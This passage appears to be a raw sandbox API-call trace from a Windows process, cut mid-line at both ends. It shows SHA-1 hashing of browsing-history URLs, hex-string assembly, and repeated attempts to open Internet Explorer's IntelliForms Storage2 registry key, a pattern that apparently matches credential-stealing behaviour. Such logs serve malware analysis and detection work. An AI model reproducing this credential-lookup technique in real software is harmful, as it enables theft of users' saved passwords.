(uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0096.913] lstrcpyW (in: lpString1=0x71cf460, lpString2="56B063332C0FA70F" | out: lpString1="56B063332C0FA70F") returned="56B063332C0FA70F" [0096.913] lstrcatW (in: lpString1="56B063332C0FA70F", lpString2="81" | out: lpString1="56B063332C0FA70F81") returned="56B063332C0FA70F81" [0096.913] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.913] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A5") returned 2 [0096.913] lstrlenW (lpString="56B063332C0FA70F81") returned 18 [0096.913] lstrlenW (lpString="A5") returned 2 [0096.913] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0096.913] lstrcpyW (in: lpString1=0x72912f0, lpString2="56B063332C0FA70F81" | out: lpString1="56B063332C0FA70F81") returned="56B063332C0FA70F81" [0096.913] lstrcatW (in: lpString1="56B063332C0FA70F81", lpString2="A5" | out: lpString1="56B063332C0FA70F81A5") returned="56B063332C0FA70F81A5" [0096.913] LocalFree (hMem=0x71cf460) returned 0x0 [0096.913] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C9") returned 2 [0096.913] lstrlenW (lpString="56B063332C0FA70F81A5") returned 20 [0096.913] lstrlenW (lpString="C9") returned 2 [0096.913] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0096.913] lstrcpyW (in: lpString1=0x7290b70, lpString2="56B063332C0FA70F81A5" | out: lpString1="56B063332C0FA70F81A5") returned="56B063332C0FA70F81A5" [0096.913] lstrcatW (in: lpString1="56B063332C0FA70F81A5", lpString2="C9" | out: lpString1="56B063332C0FA70F81A5C9") returned="56B063332C0FA70F81A5C9" [0096.914] LocalFree (hMem=0x72912f0) returned 0x0 [0096.914] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0096.914] lstrlenW (lpString="56B063332C0FA70F81A5C9") returned 22 [0096.914] lstrlenW (lpString="E4") returned 2 [0096.914] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0096.914] lstrcpyW (in: lpString1=0x72912f0, lpString2="56B063332C0FA70F81A5C9" | out: lpString1="56B063332C0FA70F81A5C9") returned="56B063332C0FA70F81A5C9" [0096.914] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9", lpString2="E4" | out: lpString1="56B063332C0FA70F81A5C9E4") returned="56B063332C0FA70F81A5C9E4" [0096.914] LocalFree (hMem=0x7290b70) returned 0x0 [0096.914] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9E") returned 2 [0096.914] lstrlenW (lpString="56B063332C0FA70F81A5C9E4") returned 24 [0096.914] lstrlenW (lpString="9E") returned 2 [0096.914] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0096.914] lstrcpyW (in: lpString1=0x7290b70, lpString2="56B063332C0FA70F81A5C9E4" | out: lpString1="56B063332C0FA70F81A5C9E4") returned="56B063332C0FA70F81A5C9E4" [0096.914] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E4", lpString2="9E" | out: lpString1="56B063332C0FA70F81A5C9E49E") returned="56B063332C0FA70F81A5C9E49E" [0096.914] LocalFree (hMem=0x72912f0) returned 0x0 [0096.914] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0E") returned 2 [0096.914] lstrlenW (lpString="56B063332C0FA70F81A5C9E49E") returned 26 [0096.914] lstrlenW (lpString="0E") returned 2 [0096.914] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0096.914] lstrcpyW (in: lpString1=0x2815670, lpString2="56B063332C0FA70F81A5C9E49E" | out: lpString1="56B063332C0FA70F81A5C9E49E") returned="56B063332C0FA70F81A5C9E49E" [0096.914] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E49E", lpString2="0E" | out: lpString1="56B063332C0FA70F81A5C9E49E0E") returned="56B063332C0FA70F81A5C9E49E0E" [0096.914] LocalFree (hMem=0x7290b70) returned 0x0 [0096.914] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4E") returned 2 [0096.914] lstrlenW (lpString="56B063332C0FA70F81A5C9E49E0E") returned 28 [0096.914] lstrlenW (lpString="4E") returned 2 [0096.914] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0096.914] lstrcpyW (in: lpString1=0x2815a80, lpString2="56B063332C0FA70F81A5C9E49E0E" | out: lpString1="56B063332C0FA70F81A5C9E49E0E") returned="56B063332C0FA70F81A5C9E49E0E" [0096.914] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E49E0E", lpString2="4E" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E") returned="56B063332C0FA70F81A5C9E49E0E4E" [0096.914] LocalFree (hMem=0x2815670) returned 0x0 [0096.914] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4C") returned 2 [0096.914] lstrlenW (lpString="56B063332C0FA70F81A5C9E49E0E4E") returned 30 [0096.914] lstrlenW (lpString="4C") returned 2 [0096.914] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0096.914] lstrcpyW (in: lpString1=0x2815670, lpString2="56B063332C0FA70F81A5C9E49E0E4E" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E") returned="56B063332C0FA70F81A5C9E49E0E4E" [0096.914] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E49E0E4E", lpString2="4C" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C") returned="56B063332C0FA70F81A5C9E49E0E4E4C" [0096.914] LocalFree (hMem=0x2815a80) returned 0x0 [0096.914] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6E") returned 2 [0096.915] lstrlenW (lpString="56B063332C0FA70F81A5C9E49E0E4E4C") returned 32 [0096.915] lstrlenW (lpString="6E") returned 2 [0096.915] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0096.915] lstrcpyW (in: lpString1=0x2815a80, lpString2="56B063332C0FA70F81A5C9E49E0E4E4C" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C") returned="56B063332C0FA70F81A5C9E49E0E4E4C" [0096.915] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C", lpString2="6E" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E" [0096.915] LocalFree (hMem=0x2815670) returned 0x0 [0096.915] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="62") returned 2 [0096.915] lstrlenW (lpString="56B063332C0FA70F81A5C9E49E0E4E4C6E") returned 34 [0096.915] lstrlenW (lpString="62") returned 2 [0096.915] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0096.915] lstrcpyW (in: lpString1=0x28e7670, lpString2="56B063332C0FA70F81A5C9E49E0E4E4C6E" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E" [0096.915] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E", lpString2="62" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E62") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E62" [0096.915] LocalFree (hMem=0x2815a80) returned 0x0 [0096.915] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0096.915] lstrlenW (lpString="56B063332C0FA70F81A5C9E49E0E4E4C6E62") returned 36 [0096.915] lstrlenW (lpString="07") returned 2 [0096.915] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0096.915] lstrcpyW (in: lpString1=0x28e7910, lpString2="56B063332C0FA70F81A5C9E49E0E4E4C6E62" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E62") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E62" [0096.915] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E62", lpString2="07" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E6207") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E6207" [0096.915] LocalFree (hMem=0x28e7670) returned 0x0 [0096.915] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="58") returned 2 [0096.915] lstrlenW (lpString="56B063332C0FA70F81A5C9E49E0E4E4C6E6207") returned 38 [0096.915] lstrlenW (lpString="58") returned 2 [0096.915] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0096.915] lstrcpyW (in: lpString1=0x28e7670, lpString2="56B063332C0FA70F81A5C9E49E0E4E4C6E6207" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E6207") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E6207" [0096.915] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E6207", lpString2="58" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E620758") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E620758" [0096.915] LocalFree (hMem=0x28e7910) returned 0x0 [0096.915] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D5") returned 2 [0096.915] lstrlenW (lpString="56B063332C0FA70F81A5C9E49E0E4E4C6E620758") returned 40 [0096.915] lstrlenW (lpString="D5") returned 2 [0096.915] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0096.915] lstrcpyW (in: lpString1=0x28e7910, lpString2="56B063332C0FA70F81A5C9E49E0E4E4C6E620758" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E620758") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E620758" [0096.915] lstrcatW (in: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E620758", lpString2="D5" | out: lpString1="56B063332C0FA70F81A5C9E49E0E4E4C6E620758D5") returned="56B063332C0FA70F81A5C9E49E0E4E4C6E620758D5" [0096.915] LocalFree (hMem=0x28e7670) returned 0x0 [0096.915] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.915] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.915] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.916] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0096.916] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0096.916] LocalFree (hMem=0x28e7910) returned 0x0 [0096.916] RegEnumValueW (in: hKey=0x368, dwIndex=0x1a, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url24", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0096.916] StrStrIW (lpFirst="tribunnews.com", lpSrch="?") returned 0x0 [0096.916] StrStrIW (lpFirst="tribunnews.com", lpSrch="http://") returned 0x0 [0096.916] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0096.916] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0096.916] lstrlenW (lpString="tribunnews.com") returned 14 [0096.916] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1e, dwFlags=0x0) returned 1 [0096.916] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0096.916] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E3") returned 2 [0096.916] lstrlenW (lpString="") returned 0 [0096.916] lstrlenW (lpString="E3") returned 2 [0096.916] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0096.916] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0096.916] lstrcatW (in: lpString1="", lpString2="E3" | out: lpString1="E3") returned="E3" [0096.917] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="95") returned 2 [0096.917] lstrlenW (lpString="E3") returned 2 [0096.917] lstrlenW (lpString="95") returned 2 [0096.917] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0096.917] lstrcpyW (in: lpString1=0x28ca380, lpString2="E3" | out: lpString1="E3") returned="E3" [0096.917] lstrcatW (in: lpString1="E3", lpString2="95" | out: lpString1="E395") returned="E395" [0096.917] LocalFree (hMem=0x7222e70) returned 0x0 [0096.917] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DE") returned 2 [0096.917] lstrlenW (lpString="E395") returned 4 [0096.917] lstrlenW (lpString="DE") returned 2 [0096.917] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0096.917] lstrcpyW (in: lpString1=0x28c81c0, lpString2="E395" | out: lpString1="E395") returned="E395" [0096.917] lstrcatW (in: lpString1="E395", lpString2="DE" | out: lpString1="E395DE") returned="E395DE" [0096.917] LocalFree (hMem=0x28ca380) returned 0x0 [0096.917] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9A") returned 2 [0096.917] lstrlenW (lpString="E395DE") returned 6 [0096.917] lstrlenW (lpString="9A") returned 2 [0096.917] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0096.917] lstrcpyW (in: lpString1=0x28ca380, lpString2="E395DE" | out: lpString1="E395DE") returned="E395DE" [0096.917] lstrcatW (in: lpString1="E395DE", lpString2="9A" | out: lpString1="E395DE9A") returned="E395DE9A" [0096.917] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.917] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="36") returned 2 [0096.917] lstrlenW (lpString="E395DE9A") returned 8 [0096.917] lstrlenW (lpString="36") returned 2 [0096.917] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0096.917] lstrcpyW (in: lpString1=0x28c81c0, lpString2="E395DE9A" | out: lpString1="E395DE9A") returned="E395DE9A" [0096.917] lstrcatW (in: lpString1="E395DE9A", lpString2="36" | out: lpString1="E395DE9A36") returned="E395DE9A36" [0096.917] LocalFree (hMem=0x28ca380) returned 0x0 [0096.917] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0096.917] lstrlenW (lpString="E395DE9A36") returned 10 [0096.917] lstrlenW (lpString="B7") returned 2 [0096.917] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0096.917] lstrcpyW (in: lpString1=0x71cf460, lpString2="E395DE9A36" | out: lpString1="E395DE9A36") returned="E395DE9A36" [0096.917] lstrcatW (in: lpString1="E395DE9A36", lpString2="B7" | out: lpString1="E395DE9A36B7") returned="E395DE9A36B7" [0096.917] LocalFree (hMem=0x28c81c0) returned 0x0 [0096.917] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0096.918] lstrlenW (lpString="E395DE9A36B7") returned 12 [0096.918] lstrlenW (lpString="96") returned 2 [0096.918] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0096.918] lstrcpyW (in: lpString1=0x71cfb40, lpString2="E395DE9A36B7" | out: lpString1="E395DE9A36B7") returned="E395DE9A36B7" [0096.918] lstrcatW (in: lpString1="E395DE9A36B7", lpString2="96" | out: lpString1="E395DE9A36B796") returned="E395DE9A36B796" [0096.918] LocalFree (hMem=0x71cf460) returned 0x0 [0096.918] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="81") returned 2 [0096.918] lstrlenW (lpString="E395DE9A36B796") returned 14 [0096.918] lstrlenW (lpString="81") returned 2 [0096.918] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0096.918] lstrcpyW (in: lpString1=0x71cf460, lpString2="E395DE9A36B796" | out: lpString1="E395DE9A36B796") returned="E395DE9A36B796" [0096.918] lstrcatW (in: lpString1="E395DE9A36B796", lpString2="81" | out: lpString1="E395DE9A36B79681") returned="E395DE9A36B79681" [0096.918] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.918] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F6") returned 2 [0096.918] lstrlenW (lpString="E395DE9A36B79681") returned 16 [0096.918] lstrlenW (lpString="F6") returned 2 [0096.918] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0096.918] lstrcpyW (in: lpString1=0x71cfb40, lpString2="E395DE9A36B79681" | out: lpString1="E395DE9A36B79681") returned="E395DE9A36B79681" [0096.918] lstrcatW (in: lpString1="E395DE9A36B79681", lpString2="F6" | out: lpString1="E395DE9A36B79681F6") returned="E395DE9A36B79681F6" [0096.918] LocalFree (hMem=0x71cf460) returned 0x0 [0096.918] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="20") returned 2 [0096.918] lstrlenW (lpString="E395DE9A36B79681F6") returned 18 [0096.918] lstrlenW (lpString="20") returned 2 [0096.918] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0096.918] lstrcpyW (in: lpString1=0x7290b70, lpString2="E395DE9A36B79681F6" | out: lpString1="E395DE9A36B79681F6") returned="E395DE9A36B79681F6" [0096.918] lstrcatW (in: lpString1="E395DE9A36B79681F6", lpString2="20" | out: lpString1="E395DE9A36B79681F620") returned="E395DE9A36B79681F620" [0096.918] LocalFree (hMem=0x71cfb40) returned 0x0 [0096.918] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0096.918] lstrlenW (lpString="E395DE9A36B79681F620") returned 20 [0096.918] lstrlenW (lpString="B6") returned 2 [0096.918] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0096.918] lstrcpyW (in: lpString1=0x72912f0, lpString2="E395DE9A36B79681F620" | out: lpString1="E395DE9A36B79681F620") returned="E395DE9A36B79681F620" [0096.918] lstrcatW (in: lpString1="E395DE9A36B79681F620", lpString2="B6" | out: lpString1="E395DE9A36B79681F620B6") returned="E395DE9A36B79681F620B6" [0096.918] LocalFree (hMem=0x7290b70) returned 0x0 [0096.918] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FC") returned 2 [0096.918] lstrlenW (lpString="E395DE9A36B79681F620B6") returned 22 [0096.918] lstrlenW (lpString="FC") returned 2 [0096.919] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0096.919] lstrcpyW (in: lpString1=0x7290b70, lpString2="E395DE9A36B79681F620B6" | out: lpString1="E395DE9A36B79681F620B6") returned="E395DE9A36B79681F620B6" [0096.919] lstrcatW (in: lpString1="E395DE9A36B79681F620B6", lpString2="FC" | out: lpString1="E395DE9A36B79681F620B6FC") returned="E395DE9A36B79681F620B6FC" [0096.919] LocalFree (hMem=0x72912f0) returned 0x0 [0096.919] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0096.919] lstrlenW (lpString="E395DE9A36B79681F620B6FC") returned 24 [0096.919] lstrlenW (lpString="8F") returned 2 [0096.919] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0096.919] lstrcpyW (in: lpString1=0x72912f0, lpString2="E395DE9A36B79681F620B6FC" | out: lpString1="E395DE9A36B79681F620B6FC") returned="E395DE9A36B79681F620B6FC" [0096.919] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC", lpString2="8F" | out: lpString1="E395DE9A36B79681F620B6FC8F") returned="E395DE9A36B79681F620B6FC8F" [0096.919] LocalFree (hMem=0x7290b70) returned 0x0 [0096.919] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BE") returned 2 [0096.919] lstrlenW (lpString="E395DE9A36B79681F620B6FC8F") returned 26 [0096.919] lstrlenW (lpString="BE") returned 2 [0096.919] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0096.919] lstrcpyW (in: lpString1=0x2815a80, lpString2="E395DE9A36B79681F620B6FC8F" | out: lpString1="E395DE9A36B79681F620B6FC8F") returned="E395DE9A36B79681F620B6FC8F" [0096.919] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC8F", lpString2="BE" | out: lpString1="E395DE9A36B79681F620B6FC8FBE") returned="E395DE9A36B79681F620B6FC8FBE" [0096.919] LocalFree (hMem=0x72912f0) returned 0x0 [0096.919] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CE") returned 2 [0096.919] lstrlenW (lpString="E395DE9A36B79681F620B6FC8FBE") returned 28 [0096.919] lstrlenW (lpString="CE") returned 2 [0096.919] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0096.919] lstrcpyW (in: lpString1=0x2815670, lpString2="E395DE9A36B79681F620B6FC8FBE" | out: lpString1="E395DE9A36B79681F620B6FC8FBE") returned="E395DE9A36B79681F620B6FC8FBE" [0096.919] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC8FBE", lpString2="CE" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE") returned="E395DE9A36B79681F620B6FC8FBECE" [0096.919] LocalFree (hMem=0x2815a80) returned 0x0 [0096.919] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0096.919] lstrlenW (lpString="E395DE9A36B79681F620B6FC8FBECE") returned 30 [0096.919] lstrlenW (lpString="9F") returned 2 [0096.919] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0096.919] lstrcpyW (in: lpString1=0x2815a80, lpString2="E395DE9A36B79681F620B6FC8FBECE" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE") returned="E395DE9A36B79681F620B6FC8FBECE" [0096.919] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC8FBECE", lpString2="9F" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9F") returned="E395DE9A36B79681F620B6FC8FBECE9F" [0096.919] LocalFree (hMem=0x2815670) returned 0x0 [0096.919] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B9") returned 2 [0096.919] lstrlenW (lpString="E395DE9A36B79681F620B6FC8FBECE9F") returned 32 [0096.919] lstrlenW (lpString="B9") returned 2 [0096.919] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0096.919] lstrcpyW (in: lpString1=0x2815670, lpString2="E395DE9A36B79681F620B6FC8FBECE9F" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9F") returned="E395DE9A36B79681F620B6FC8FBECE9F" [0096.919] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC8FBECE9F", lpString2="B9" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB9") returned="E395DE9A36B79681F620B6FC8FBECE9FB9" [0096.920] LocalFree (hMem=0x2815a80) returned 0x0 [0096.920] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="15") returned 2 [0096.920] lstrlenW (lpString="E395DE9A36B79681F620B6FC8FBECE9FB9") returned 34 [0096.920] lstrlenW (lpString="15") returned 2 [0096.920] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0096.920] lstrcpyW (in: lpString1=0x28e7910, lpString2="E395DE9A36B79681F620B6FC8FBECE9FB9" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB9") returned="E395DE9A36B79681F620B6FC8FBECE9FB9" [0096.920] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB9", lpString2="15" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB915") returned="E395DE9A36B79681F620B6FC8FBECE9FB915" [0096.920] LocalFree (hMem=0x2815670) returned 0x0 [0096.920] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="94") returned 2 [0096.920] lstrlenW (lpString="E395DE9A36B79681F620B6FC8FBECE9FB915") returned 36 [0096.920] lstrlenW (lpString="94") returned 2 [0096.920] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0096.920] lstrcpyW (in: lpString1=0x28e7670, lpString2="E395DE9A36B79681F620B6FC8FBECE9FB915" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB915") returned="E395DE9A36B79681F620B6FC8FBECE9FB915" [0096.920] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB915", lpString2="94" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB91594") returned="E395DE9A36B79681F620B6FC8FBECE9FB91594" [0096.920] LocalFree (hMem=0x28e7910) returned 0x0 [0096.920] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3A") returned 2 [0096.920] lstrlenW (lpString="E395DE9A36B79681F620B6FC8FBECE9FB91594") returned 38 [0096.920] lstrlenW (lpString="3A") returned 2 [0096.920] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0096.920] lstrcpyW (in: lpString1=0x28e7910, lpString2="E395DE9A36B79681F620B6FC8FBECE9FB91594" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB91594") returned="E395DE9A36B79681F620B6FC8FBECE9FB91594" [0096.920] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB91594", lpString2="3A" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB915943A") returned="E395DE9A36B79681F620B6FC8FBECE9FB915943A" [0096.920] LocalFree (hMem=0x28e7670) returned 0x0 [0096.920] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0096.920] lstrlenW (lpString="E395DE9A36B79681F620B6FC8FBECE9FB915943A") returned 40 [0096.920] lstrlenW (lpString="12") returned 2 [0096.920] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0096.920] lstrcpyW (in: lpString1=0x28e7670, lpString2="E395DE9A36B79681F620B6FC8FBECE9FB915943A" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB915943A") returned="E395DE9A36B79681F620B6FC8FBECE9FB915943A" [0096.920] lstrcatW (in: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB915943A", lpString2="12" | out: lpString1="E395DE9A36B79681F620B6FC8FBECE9FB915943A12") returned="E395DE9A36B79681F620B6FC8FBECE9FB915943A12" [0096.920] LocalFree (hMem=0x28e7910) returned 0x0 [0096.920] CryptDestroyHash (hHash=0x4469af0) returned 1 [0096.920] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0096.920] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0096.920] RegOpenKeyExW (in: hKey=0xffffffff80000001, 